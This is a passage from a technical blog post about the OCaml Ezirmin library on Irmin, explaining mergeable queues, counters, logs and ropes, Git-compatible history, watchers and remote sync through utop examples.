<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="kt">list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"walk dog"</span><span class="p">;</span> <span class="s2">"take out trash"</span><span class="p">]</span>
</code></pre></div></div>

<h2 id="merge-semantics">Merge semantics</h2>

<p>What should be the semantics of popping the queue at <code class="language-plaintext highlighter-rouge">home/todo</code> concurrently
at the master branch and wip branch? It is reasonable to ascribe exactly once
semantics to pop such that popping the same element on both branches and
subsequently merging the queues would lead to a merge conflict. However, a more
useful semantics is where we relax this invariant and allow elements to be
popped more than once on different branches. In particular, the merge operation
on the queue ensures that:</p>

<ol>
  <li>An element popped in one of the branches is not present after the merge.</li>
  <li>Merges respect the program order in each of the branches.</li>
  <li>Merges converge.</li>
</ol>

<p>Hence, our merge queues are CRDTs.</p>

<h2 id="working-with-history">Working with history</h2>

<p>Irmin is fully compatible with Git. Hence, we can explore the history of the
operations using the git command line. In another terminal:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cd</span> /tmp/ezirminq
<span class="nv">$ </span>git lg
<span class="k">*</span> e75da48 - <span class="o">(</span>4 minutes ago<span class="o">)</span> push - Irmin xxxx.cam.ac.uk.[73126] <span class="o">(</span>HEAD -&gt; master, wip<span class="o">)</span>
<span class="k">*</span> 40ed32d - <span class="o">(</span>4 minutes ago<span class="o">)</span> push - Irmin xxxx.cam.ac.uk.[73126]
<span class="k">*</span> 6a56fb0 - <span class="o">(</span>5 minutes ago<span class="o">)</span> pop - Irmin xxxx.cam.ac.uk.[73221]
<span class="k">*</span> 6a2cc9a - <span class="o">(</span>6 minutes ago<span class="o">)</span> push - Irmin xxxx.cam.ac.uk.[73126]
<span class="k">*</span> 55f7fc8 - <span class="o">(</span>6 minutes ago<span class="o">)</span> push - Irmin xxxx.cam.ac.uk.[73126]
</code></pre></div></div>

<p>The Git log shows that there have been 4 pushes and 1 pop in this repository.
In addition to the data structures being mergeable, they are also persistent.
In particular, every object stored in Irmin has complete provenance. You can
also manipulate history using the Git command line.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git reset HEAD~2 <span class="nt">--hard</span>
<span class="nv">$ </span>git lg
<span class="k">*</span> e75da48 - <span class="o">(</span>8 minutes ago<span class="o">)</span> push - Irmin xxxx.cam.ac.uk.[73126] <span class="o">(</span>wip<span class="o">)</span>
<span class="k">*</span> 40ed32d - <span class="o">(</span>9 minutes ago<span class="o">)</span> push - Irmin xxxx.cam.ac.uk.[73126]
<span class="k">*</span> 6a56fb0 - <span class="o">(</span>9 minutes ago<span class="o">)</span> pop - Irmin xxxx.cam.ac.uk.[73221] <span class="o">(</span>HEAD -&gt; master<span class="o">)</span>
<span class="k">*</span> 6a2cc9a - <span class="o">(</span>10 minutes ago<span class="o">)</span> push - Irmin xxxx.cam.ac.uk.[73126]
<span class="k">*</span> 55f7fc8 - <span class="o">(</span>10 minutes ago<span class="o">)</span> push - Irmin xxxx.cam.ac.uk.[73126]
</code></pre></div></div>

<p>Back in the first terminal:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="n">to_list</span> <span class="n">m</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">];;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="kt">list</span> <span class="o">=</span> <span class="bp">[]</span>
</code></pre></div></div>

<p>Since we rolled back the master to before the pushes were merged, we see an
empty list. Ezirmin also provides APIs for working with history
programmatically.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">run</span> <span class="o">=</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">repo</span> <span class="o">=</span> <span class="n">run</span> <span class="o">@@</span> <span class="n">init</span> <span class="bp">()</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">path</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"Books"</span><span class="p">;</span> <span class="s2">"Ovine Supply Logistics"</span><span class="p">];;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">push_msg</span> <span class="o">=</span> <span class="n">push</span> <span class="n">m</span> <span class="o">~</span><span class="n">path</span><span class="p">;;</span>

<span class="n">utop</span> <span class="o">#</span> <span class="k">begin</span>
  <span class="n">push_msg</span> <span class="s2">"Baa"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span>
  <span class="n">push_msg</span> <span class="s2">"Baa"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span>
  <span class="n">push_msg</span> <span class="s2">"Black"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span>
  <span class="n">push_msg</span> <span class="s2">"Camel"</span>
<span class="k">end</span><span class="p">;;</span>

<span class="n">utop</span> <span class="o">#</span> <span class="n">to_list</span> <span class="n">m</span> <span class="n">path</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="kt">list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"Baa"</span><span class="p">;</span> <span class="s2">"Baa"</span><span class="p">;</span> <span class="s2">"Black"</span><span class="p">;</span> <span class="s2">"Camel"</span><span class="p">]</span>
</code></pre></div></div>

<p>Clearly this is wrong. Let’s fix this by reverting to earlier version:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">m_1</span><span class="o">::_</span> <span class="o">=</span> <span class="n">run</span> <span class="o">@@</span> <span class="n">predecessors</span> <span class="n">repo</span> <span class="n">m</span><span class="p">;;</span> <span class="c">(** HEAD~1 version *)</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">to_list</span> <span class="n">m_1</span> <span class="n">path</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="kt">list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"Baa"</span><span class="p">;</span> <span class="s2">"Baa"</span><span class="p">;</span> <span class="s2">"Black"</span><span class="p">]</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">update_branch</span> <span class="n">m</span> <span class="o">~</span><span class="n">set</span><span class="o">:</span><span class="n">m_1</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">to_list</span> <span class="n">m</span> <span class="n">path</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="kt">list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"Baa"</span><span class="p">;</span> <span class="s2">"Baa"</span><span class="p">;</span> <span class="s2">"Black"</span><span class="p">]</span>
</code></pre></div></div>

<p>Now that we’ve undone the error, we can do the right thing.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="n">push_msg</span> <span class="s2">"Sheep"</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">run</span> <span class="o">@@</span> <span class="n">to_list</span> <span class="n">m</span> <span class="n">path</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="kt">list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"Baa"</span><span class="p">;</span> <span class="s2">"Baa"</span><span class="p">;</span> <span class="s2">"Black"</span><span class="p">;</span> <span class="s2">"Sheep"</span><span class="p">]</span>
</code></pre></div></div>

<h2 id="reacting-to-changes">Reacting to changes</h2>

<p>Ezirmin supports watching a particular key for updates and invoking a callback
function when there is one.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">cb</span> <span class="n">_</span> <span class="o">=</span> <span class="nn">Lwt</span><span class="p">.</span><span class="n">return</span> <span class="p">(</span><span class="n">print_endline</span> <span class="s2">"callback: update to home/todo"</span><span class="p">);;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="n">watch</span> <span class="n">m</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">]</span> <span class="n">cb</span>
</code></pre></div></div>

<p>The code above installs a listener <code class="language-plaintext highlighter-rouge">cb</code> on the queue at <code class="language-plaintext highlighter-rouge">home/todo</code>, which is
run every time the queue is updated. This includes local <code class="language-plaintext highlighter-rouge">push</code> and <code class="language-plaintext highlighter-rouge">pop</code>
operations as well as updates due to merges.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="n">push</span> <span class="n">m</span> <span class="p">[</span><span class="s2">"home"</span><span class="p">;</span> <span class="s2">"todo"</span><span class="p">]</span> <span class="s2">"hang pictures"</span><span class="p">;;</span>
<span class="n">callback</span><span class="o">:</span> <span class="n">update</span> <span class="k">to</span> <span class="n">home</span><span class="o">/</span><span class="n">todo</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">=</span> <span class="bp">()</span>
</code></pre></div></div>
<h2 id="interaction-with-remotes">Interaction with remotes</h2>

<p>Unlike distributed data stores, where the updates are disseminated
transparently between the replicas, Ezirmin provides you the necessary building
blocks for building your own dissemination protocol. As with Git, Ezirmin
exposes the functionality to <code class="language-plaintext highlighter-rouge">push</code><sup id="fnref:push" role="doc-noteref"><a href="#fn:push" class="footnote" rel="footnote">2</a></sup> and <code class="language-plaintext highlighter-rouge">pull</code> changes from remotes.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">#</span><span class="n">show_module</span> <span class="nc">Sync</span><span class="p">;;</span>
<span class="k">module</span> <span class="nc">Sync</span> <span class="o">:</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="n">remote</span>
  <span class="k">val</span> <span class="n">remote_uri</span> <span class="o">:</span> <span class="kt">string</span> <span class="o">-&gt;</span> <span class="n">remote</span>
  <span class="k">val</span> <span class="n">pull</span> <span class="o">:</span> <span class="n">remote</span> <span class="o">-&gt;</span> <span class="n">branch</span> <span class="o">-&gt;</span> <span class="p">[</span> <span class="nt">`Merge</span> <span class="o">|</span> <span class="nt">`Update</span> <span class="p">]</span> <span class="o">-&gt;</span> <span class="p">[</span> <span class="nt">`Conflict</span> <span class="k">of</span> <span class="kt">string</span> <span class="o">|</span> <span class="nt">`Error</span> <span class="o">|</span> <span class="nt">`No_head</span> <span class="o">|</span> <span class="nt">`Ok</span> <span class="p">]</span> <span class="nn">Lwt</span><span class="p">.</span><span class="n">t</span>
  <span class="k">val</span> <span class="n">push</span> <span class="o">:</span> <span class="n">remote</span> <span class="o">-&gt;</span> <span class="n">branch</span> <span class="o">-&gt;</span> <span class="p">[</span> <span class="nt">`Error</span> <span class="o">|</span> <span class="nt">`Ok</span> <span class="p">]</span> <span class="nn">Lwt</span><span class="p">.</span><span class="n">t</span>
<span class="k">end</span>
</code></pre></div></div>

<p>This design provides the flexibility to describe your own network layout, with
anti-entropy mechanisms built-in to the synchronization protocol. For example,
one might deploy the replicas in a hub-and-spoke model where each replica
accepts client writes locally and periodically publishes changes to the master
and also fetches any latest updates. The data structures provided by Ezirmin
are always mergeable and converge. Hence, the updates are never rejected. It is
important to note that even though we have a centralized master, this
deployment is still highly available. Even if the master is unavailable, the
other nodes can still accept client requests. The replicas may also be
connected in a peer-to-peer fashion without a centralized master for a more
resilient deployment.</p>

<h1 id="mergeable-persistent-data-types">Mergeable persistent data types</h1>

<p>Ezirmin is equipped with a <a href="https://github.com/kayceesrk/ezirmin#whats-in-the-box">growing
collection</a> of mergeable
data types. The mergeable datatypes occupy a unique position in the space of
CRDTs. Given that we have the history, the design of mergeable datatypes is much
simpler. Additionally, this also leads to <a href="http://gazagnaire.org/pub/FGM15.pdf">richer
structures</a> typically not found in CRDTs.
It is worth studying them in detail.</p>

<h2 id="irmin-architecture">Irmin Architecture</h2>

<p>Irmin provides a high-level key-value interface built over two lower level
heaps: a <strong>block store</strong> and a <strong>tag store</strong>. A block store is an append-only
content-addressable store that stores serialized values of application contents,
prefix-tree nodes, history meta-data, etc. Instead of using physical memory
address of blocks, the blocks are identified by the hash of their contents. As a
result block store enjoys very nice properties. Being content-addressed, we get
sharing for free: two blocks with the same content will have the have the same
hash. This not only applies for individual blocks, but also for
linked-structures. For example,</p>

<p align="center"> <img src="https://kcsrk.info/assets/linked_list.png" alt="Hash list" /> </p>

<p>The linked list above is uniquely identified by hash <code class="language-plaintext highlighter-rouge">h0</code> since <code class="language-plaintext highlighter-rouge">h0</code> was
computed from the content <code class="language-plaintext highlighter-rouge">a</code> and the hash of the tail of the list <code class="language-plaintext highlighter-rouge">h1</code>. No
other list has hash <code class="language-plaintext highlighter-rouge">h0</code>. Changing <code class="language-plaintext highlighter-rouge">c</code> to <code class="language-plaintext highlighter-rouge">C</code> in this list would result in a
different hash for the head of the list<sup id="fnref:blockchain" role="doc-noteref"><a href="#fn:blockchain" class="footnote" rel="footnote">3</a></sup>. Moreover, since the block
store is append-only, all previous versions of a application-level data
structure is also available, and thus providing persistence. This also makes for
a nice concurrency story for multiple processes/threads operating on the block
store. The absence of mutations on block store mean that no additional
concurrency control mechanisms are necessary.</p>

<p>The only mutable part of the Irmin architecture is the tag store, that maps
global names to blocks in the block store. The notion of branches are built on
top of the tag store. Cloning a branch creates a new tag that points to the same
block as the cloned branch.</p>

<h2 id="user-defined-merges">User-defined merges</h2>

<p>The real power of Irmin is due to the user-defined merges. Irmin expects the
developer to provide a 3-way merge function with the following signature:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">type</span> <span class="n">t</span>
<span class="c">(** User-defined contents. *)</span>

<span class="k">val</span> <span class="n">merge</span> <span class="o">:</span> <span class="n">old</span><span class="o">:</span><span class="n">t</span> <span class="o">-&gt;</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="p">[</span><span class="nt">`Ok</span> <span class="k">of</span> <span class="n">t</span> <span class="o">|</span> <span class="nt">`Conflict</span> <span class="k">of</span> <span class="kt">string</span><span class="p">]</span>
<span class="c">(** 3-way merge. *)</span>
</code></pre></div></div>

<p>Given the common ancestor <code class="language-plaintext highlighter-rouge">old</code> and the two versions, merge function can either
return a successful merge or mark a conflict. It is up to the developer to ensure
that merges are commutative (<code class="language-plaintext highlighter-rouge">merge old a b = merge old b a</code>) and that the merge
captures the intent of the two branches. <em>If the merge function never conflicts,
we have CRDTs</em>.</p>

<h2 id="mergeable-counters">Mergeable Counters</h2>

<p>The simplest mergeable data type is a counter with an increment and decrement
operations. Given that we have a 3-way merge function, the merge is intuitive:</p>



<p>Given the two new values for the counter <code class="language-plaintext highlighter-rouge">t1</code> and <code class="language-plaintext highlighter-rouge">t2</code>, and their lowest common
ancestor value <code class="language-plaintext highlighter-rouge">old</code>, the new value of the counter is the sum of the <code class="language-plaintext highlighter-rouge">old</code> value
and the two deltas: <code class="language-plaintext highlighter-rouge">old + (t1 - old) + (t2 - old) = t1 + t2 - old</code>.</p>

<h3 id="theory-of-merges">Theory of merges</h3>

<p>While this definition is intuitive, the proof of why this strategy (i.e.,
computing deltas and applying to the common ancestor) is correct is quite
subtle. It happens to be the case that the patches (deltas) in this case,
integers under addition, form an <a href="https://en.wikipedia.org/wiki/Abelian_group">abelian
group</a>. Judah Jacobson formalizes
<a href="ftp://ftp.math.ucla.edu/pub/camreport/cam09-83.pdf">patches for Darcs as inverse
semigroups</a> and proves
convergence. Every abelian group is also an inverse semigroup. Hence, the above
strategy is correct. Merges can also be equivalently viewed as a <a href="https://arxiv.org/pdf/1311.3903.pdf">pushout in
category theory</a>, leading to the same
result. I will have to save the discussion of the category theoretic reasoning
of Irmin merges for another time. But Liam O’Connor has written a concise
<a href="http://liamoc.net/posts/2015-11-10-patch-theory.html">post</a> on the theory of patches
which is worth a read.</p>

<h3 id="recursive-merges">Recursive merges</h3>

<p>Since Ezirmin allows arbitrary branching and merging, the lowest common ancestor
need not be unique. One way to end up with multiple lowest common ancestors is
criss-cross merges. For example, consider the history graph below:</p>

<p align="center"> <img src="https://kcsrk.info/assets/criss_cross.png" alt="Criss cross merge" /> </p>

<p>The counter at some key in the <code class="language-plaintext highlighter-rouge">master</code> was initially <code class="language-plaintext highlighter-rouge">0</code>. The branch <code class="language-plaintext highlighter-rouge">wip</code> was
cloned at this point. The counter is incremented by <code class="language-plaintext highlighter-rouge">1</code> at <code class="language-plaintext highlighter-rouge">master</code> and <code class="language-plaintext highlighter-rouge">2</code> at
<code class="language-plaintext highlighter-rouge">wip</code>. At this point, both branches are merged into the other branch. The common
ancestor here is the initial state of counter <code class="language-plaintext highlighter-rouge">0</code>. This results in counter value
of <code class="language-plaintext highlighter-rouge">3</code> in both branches. Suppose there are further increments, <code class="language-plaintext highlighter-rouge">2</code> at <code class="language-plaintext highlighter-rouge">master</code>
and <code class="language-plaintext highlighter-rouge">4</code> at <code class="language-plaintext highlighter-rouge">wip</code>, resulting in counter values <code class="language-plaintext highlighter-rouge">5</code> and <code class="language-plaintext highlighter-rouge">7</code> respectively in
<code class="language-plaintext highlighter-rouge">master</code> and <code class="language-plaintext highlighter-rouge">wip</code>.</p>

<p>If the <code class="language-plaintext highlighter-rouge">wip</code> branch is now merged in <code class="language-plaintext highlighter-rouge">master</code>, there are two lowest common
ancestors: the commit with value <code class="language-plaintext highlighter-rouge">1</code> at master and <code class="language-plaintext highlighter-rouge">2</code> in wip. Since the 3-way
merge algorithm only work for a single common ancestor, the we adopt a recursive
merge strategy, where the lowest common ancestors are first merged resulting in
a internal commit with value <code class="language-plaintext highlighter-rouge">3</code> (represented by a dotted circle). This commit
is now used as the common ancestor for merging, which results in <code class="language-plaintext highlighter-rouge">9</code> as the new
state of the counter. This matches the increments done in both branches. The
recursive merge strategy is also the default merge strategy for Git.</p>

<h2 id="mergeable-logs">Mergeable logs</h2>

<p>Another useful data type is <a href="http://kcsrk.info/ezirmin/Ezirmin.Blob_log.html">mergeable
logs</a>, where each log message
is a string. The merge operation accumulates the logs in reverse chronological
order. To this end, each log entry is a pair of timestamp and message, and the
log itself is a list of entries. They are constructed using
<a href="https://github.com/mirage/mirage-tc">mirage-tc</a>:</p>



<p>The merge function extracts the newer entries from either branches, sorts them
and appends to the front of the old list.</p>



<p>While this implementation is simple, it does not scale well. In particular, each
commit stores the entire log as a single serialized blob. This does not take
advantage of the fact that every commit can share the tail of the log with its
predecessor. Moreover, every append to the log needs to deserialize the entire
log, append the new entry and serialize the log again. Hence, append is an
<code class="language-plaintext highlighter-rouge">O(n)</code> operation, where <code class="language-plaintext highlighter-rouge">n</code> is the size of the log. Merges are also worst case
<code class="language-plaintext highlighter-rouge">O(n)</code>. This is undesirable.</p>

<h3 id="efficient-mergeable-logs">Efficient mergeable logs</h3>

<p>We can implement a <a href="http://kcsrk.info/ezirmin/Ezirmin.Log.html">efficient logs</a>
by taking advantage of the fact that every commit shares the tail of the log
with its predecessor.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">type</span> <span class="n">log_entry</span> <span class="o">=</span> <span class="p">{</span>
  <span class="n">time</span>    <span class="o">:</span> <span class="nn">Time</span><span class="p">.</span><span class="n">t</span><span class="p">;</span>
  <span class="n">message</span> <span class="o">:</span> <span class="nn">V</span><span class="p">.</span><span class="n">t</span><span class="p">;</span>        <span class="c">(** V.t is type of message. *)</span>
  <span class="n">prev</span>    <span class="o">:</span> <span class="nn">K</span><span class="p">.</span><span class="n">t</span> <span class="n">option</span>  <span class="c">(** K.t is the type of address in the block store. *)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Merges simply add a new node which points to the logs of merged branches,
resulting in a DAG that captures the causal history. The following sequence of
operations:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="o">#</span><span class="n">require</span> <span class="s2">"ezirmin"</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">open</span> <span class="nn">Lwt</span><span class="p">.</span><span class="nc">Infix</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">module</span> <span class="nc">M</span> <span class="o">=</span> <span class="nn">Ezirmin</span><span class="p">.</span><span class="nc">Memory_log</span><span class="p">(</span><span class="nn">Tc</span><span class="p">.</span><span class="nc">String</span><span class="p">);;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">open</span> <span class="nc">M</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">m</span> <span class="o">=</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span><span class="n">init</span> <span class="bp">()</span> <span class="o">&gt;&gt;=</span> <span class="n">master</span><span class="p">);;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span>
  <span class="n">append</span> <span class="n">m</span> <span class="bp">[]</span> <span class="s2">"m0"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>
  <span class="n">append</span> <span class="n">m</span> <span class="bp">[]</span> <span class="s2">"m1"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>
  <span class="n">clone_force</span> <span class="n">m</span> <span class="s2">"wip"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">w</span> <span class="o">-&gt;</span>
  <span class="n">append</span> <span class="n">w</span> <span class="bp">[]</span> <span class="s2">"w0"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>
  <span class="n">append</span> <span class="n">m</span> <span class="bp">[]</span> <span class="s2">"m2"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>
  <span class="n">merge</span> <span class="n">w</span> <span class="o">~</span><span class="n">into</span><span class="o">:</span><span class="n">m</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>
  <span class="n">append</span> <span class="n">w</span> <span class="bp">[]</span> <span class="s2">"w1"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>
  <span class="n">append</span> <span class="n">w</span> <span class="bp">[]</span> <span class="s2">"w2"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>
  <span class="n">append</span> <span class="n">m</span> <span class="bp">[]</span> <span class="s2">"m3"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>
  <span class="n">append</span> <span class="n">m</span> <span class="bp">[]</span> <span class="s2">"m4"</span>
<span class="p">);;</span>
</code></pre></div></div>

<p>results in the heap below.</p>

<p align="center"> <img src="https://kcsrk.info/assets/log.png" alt="Merge log" /> </p>

<p>Read traverses the log in reverse chronological order.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="n">read_all</span> <span class="n">m</span> <span class="bp">[]</span><span class="p">;;</span>
<span class="o">-</span> <span class="o">:</span> <span class="kt">string</span> <span class="kt">list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">"m4"</span><span class="p">;</span> <span class="s2">"m3"</span><span class="p">;</span> <span class="s2">"m2"</span><span class="p">;</span> <span class="s2">"w0"</span><span class="p">;</span> <span class="s2">"m1"</span><span class="p">;</span> <span class="s2">"m0"</span><span class="p">]</span>
</code></pre></div></div>

<p>This implementation has <code class="language-plaintext highlighter-rouge">O(1)</code> appends and <code class="language-plaintext highlighter-rouge">O(1)</code> merges, resulting in much
better performance. The graph below compares the blob log implementation and
this linked implementation with file system backend by performing repeated
appends to the log and measuring the latency for append.</p>

<p align="center"> <img src="https://kcsrk.info/assets/perf_log.png" alt="Perf log" /> </p>

<p>Each point represents the average latency for the previous 100 appends. The
results show that the append latency for linked implementation remains
relatively constant while the blob implementation slows down considerably with
increasing number of appends. Additionally, the linked implementation also
supports efficient <a href="http://kcsrk.info/ezirmin/Ezirmin.Log.html#VALread">paginated
reads</a>.</p>

<h2 id="mergeable-ropes">Mergeable ropes</h2>

<p>A rope data structure is used for efficiently storing and manipulating very long
strings. Ezirmin provides <a href="http://kcsrk.info/ezirmin/Ezirmin.Rope.html">mergeable
ropes</a> where for <a href="http://kcsrk.info/ezirmin/Ezirmin.Rope_content.html">arbitrary
contents</a>, but also
specialized for <a href="http://kcsrk.info/ezirmin/Ezirmin.Rope_string.html">strings</a>.
Ropes automatically rebalance to maintain the invariant that the height of the
tree is proportional to the length of the contents. The crux of the merge
strategy is that given a common ancestor and the two trees to be merged,
the merge algorithm works out the smallest subtrees where the modification
occurred. If the modifications are on distinct subtrees, then the merge is
trivial.</p>

<p align="center"> <img src="https://kcsrk.info/assets/merge_rope.png" alt="merge rope" /> </p>

<p>If the modification is on the same subtree, then the algorithm delegates to
merge the contents. This problem has been well studied under the name of
<a href="https://en.wikipedia.org/wiki/Operational_transformation">operational
transformation</a> (OT).
OT can be categorically explained in terms of pushouts.
Mergeable strings with insert, delete and replace operations are isomorphic to
counters with increment and decrement. We apply a similar strategy to merge
string.</p>



<p>First we compute the diff between the common ancestor and the new tree using
<a href="https://en.wikipedia.org/wiki/Wagner%E2%80%93Fischer_algorithm">Wagner-Fischer
algorithm</a>. Then
we transform one patch with respect to the other using standard OT definition
such that we can first apply one of the original patch to the common ancestor
and then apply the transformed patch of the other branch to get the result tree.</p>

<p>For example,</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">utop</span> <span class="o">#</span> <span class="o">#</span><span class="n">require</span> <span class="s2">"ezirmin"</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">open</span> <span class="nn">Lwt</span><span class="p">.</span><span class="nc">Infix</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">open</span> <span class="nn">Ezirmin</span><span class="p">.</span><span class="nc">Memory_rope_string</span><span class="p">;;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">m</span> <span class="o">=</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span><span class="n">init</span> <span class="bp">()</span> <span class="o">&gt;&gt;=</span> <span class="n">master</span><span class="p">);;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">t</span> <span class="o">=</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span>
  <span class="n">make</span> <span class="s2">"abc"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">t</span> <span class="o">-&gt;</span>
  <span class="n">write</span> <span class="n">m</span> <span class="bp">[]</span> <span class="n">t</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>
  <span class="nn">Lwt</span><span class="p">.</span><span class="n">return</span> <span class="n">t</span>
<span class="p">);;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">w</span> <span class="o">=</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span><span class="n">clone_force</span> <span class="n">m</span> <span class="s2">"w"</span><span class="p">);;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span>
  <span class="n">set</span> <span class="n">t</span> <span class="mi">1</span> <span class="k">'</span><span class="n">x'</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">t'</span> <span class="c">(* "axc" *)</span> <span class="o">-&gt;</span>
  <span class="n">write</span> <span class="n">m</span> <span class="bp">[]</span> <span class="n">t'</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>

  <span class="n">insert</span> <span class="n">t</span> <span class="mi">1</span> <span class="s2">"y"</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">t'</span> <span class="c">(* "aybc" *)</span><span class="o">-&gt;</span>
  <span class="n">write</span> <span class="n">w</span> <span class="bp">[]</span> <span class="n">t'</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span>

  <span class="n">merge</span> <span class="n">w</span> <span class="o">~</span><span class="n">into</span><span class="o">:</span><span class="n">m</span> <span class="o">&gt;&gt;=</span> <span class="k">fun</span> <span class="n">_</span> <span class="c">(* "ayxc" *)</span> <span class="o">-&gt;</span>
  <span class="n">merge</span> <span class="n">m</span> <span class="o">~</span><span class="n">into</span><span class="o">:</span><span class="n">w</span>
<span class="p">);;</span>
<span class="n">utop</span> <span class="o">#</span> <span class="nn">Lwt_main</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span>
  <span class="n">read</span> <span class="n">m</span> <span class="bp">[]</span> <span class="o">&gt;&gt;=</span> <span class="k">function</span>
